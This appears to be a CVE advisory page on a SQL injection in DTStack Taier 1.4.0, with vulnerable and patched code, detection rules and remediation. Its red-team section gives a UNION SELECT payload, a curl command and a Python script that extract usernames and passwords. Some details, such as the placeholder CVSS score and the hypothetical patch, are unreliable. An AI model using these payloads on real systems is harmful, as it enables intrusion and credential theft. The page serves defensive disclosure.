CVE-2024-41579
Executive Summary
CVE-2024-41579 is a critical SQL injection vulnerability discovered in DTStack Taier version 1.4.0. The flaw resides in the console listNames function, where the jobName parameter is not properly sanitized before being used in a SQL query. An unauthenticated remote attacker can exploit this to execute arbitrary SQL commands, potentially leading to data exfiltration, modification, or denial of service. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is critical. No official patch has been released as of this report.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the DTStack Taier application, which is a Java-based big data task scheduling platform. It is not a package manager (NPM, PyPI, Go, Ruby) issue, but rather a direct application vulnerability. Users should verify the integrity of their Taier distribution and monitor for any official updates.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Exploit does not affect other components.
- Confidentiality (C): High (H) – Full database read access.
- Integrity (I): High (H) – Full database write access.
- Availability (A): High (H) – Potential for database corruption or deletion.
Threat Level: Critical. The lack of authentication and low complexity make this a high-priority target for attackers.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the console listNames API endpoint. The jobName parameter is directly concatenated into a SQL query without parameterization or escaping. An attacker can inject SQL commands by crafting a malicious jobName value.
Root Cause: The application uses string concatenation to build SQL queries instead of prepared statements or parameterized queries.
Attack Vector: HTTP GET/POST request to the vulnerable endpoint.
Example vulnerable request:
GET /api/console/listNames?jobName=test' OR '1'='1
This would result in a SQL query like:
SELECT * FROM jobs WHERE jobName = 'test' OR '1'='1'
Vulnerable vs. Patched Code
Vulnerable Code (Java example):
public List<Job> listNames(String jobName) {
String sql = "SELECT * FROM jobs WHERE jobName = '" + jobName + "'";
return jdbcTemplate.query(sql, new JobRowMapper());
}
Patched Code (hypothetical):
public List<Job> listNames(String jobName) {
String sql = "SELECT * FROM jobs WHERE jobName = ?";
return jdbcTemplate.query(sql, new Object[]{jobName}, new JobRowMapper());
}
The patched version uses a parameterized query (?) which prevents SQL injection by treating user input as data, not executable code.
Exploitation & Lab Setup
Red Team
Prerequisites:
- DTStack Taier 1.4.0 running on a target host.
- Network access to the vulnerable endpoint.
Exploitation Steps:
Identify the endpoint:
GET /api/console/listNamesCraft a malicious payload:
jobName=test' UNION SELECT username, password FROM users--Execute the attack:
curl -X GET "http://target:port/api/console/listNames?jobName=test' UNION SELECT username, password FROM users--"Extract data: The response will include the unioned data.
Automated Exploit (Python):
import requests
target = "http://target:port"
payload = "test' UNION SELECT username, password FROM users--"
url = f"{target}/api/console/listNames?jobName={payload}"
response = requests.get(url)
print(response.text)
Blue Team
Detection:
- Monitor for unusual SQL error messages in application logs.
- Look for requests containing SQL keywords (UNION, SELECT, OR, AND) in the
jobNameparameter. - Use WAF rules to block SQL injection patterns.
Honeypot:
- Deploy a decoy Taier instance to capture attacker behavior.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/api/console/listNameswith SQL-like payloads in thejobNameparameter. - Unusual database error messages in HTTP responses (e.g., "SQL syntax error").
- HTTP requests to
File IOCs:
- Modified application logs containing SQL injection attempts.
- Unexpected database dumps or exports.
System IOCs:
- Unusual database queries from the Taier application user.
- High CPU or memory usage on the database server.
Detection Engineering
YARA Rule
rule CVE_2024_41579_SQLi {
meta:
description = "Detects SQL injection attempts against DTStack Taier listNames endpoint"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-41579"
strings:
$s1 = "jobName=" nocase
$s2 = "UNION" nocase
$s3 = "SELECT" nocase
$s4 = "OR" nocase
$s5 = "AND" nocase
$s6 = "1=1" nocase
$s7 = "1=2" nocase
$s8 = "admin" nocase
condition:
$s1 and any of ($s2, $s3, $s4, $s5, $s6, $s7, $s8)
}
Sigma Rule
title: CVE-2024-41579 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against DTStack Taier listNames endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: "jobName="
cs-uri-query|contains|all:
- "UNION"
- "SELECT"
condition: selection
falsepositives:
- Legitimate use of the word "UNION" in job names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-41579 SQL Injection Attempt"; flow:to_server; content:"/api/console/listNames"; http_uri; content:"jobName="; http_uri; pcre:"/UNION|SELECT|OR|AND|1=1|1=2/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the affected system from untrusted networks.
- Apply a WAF rule to block SQL injection patterns in the
jobNameparameter. - Review database logs for signs of exploitation.
Long-term Fix:
- Upgrade to a patched version when available.
- Implement parameterized queries in the
listNamesfunction. - Conduct a code audit for similar vulnerabilities in other endpoints.
Workaround:
- If patching is not possible, disable the
listNamesendpoint or restrict access via firewall rules.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.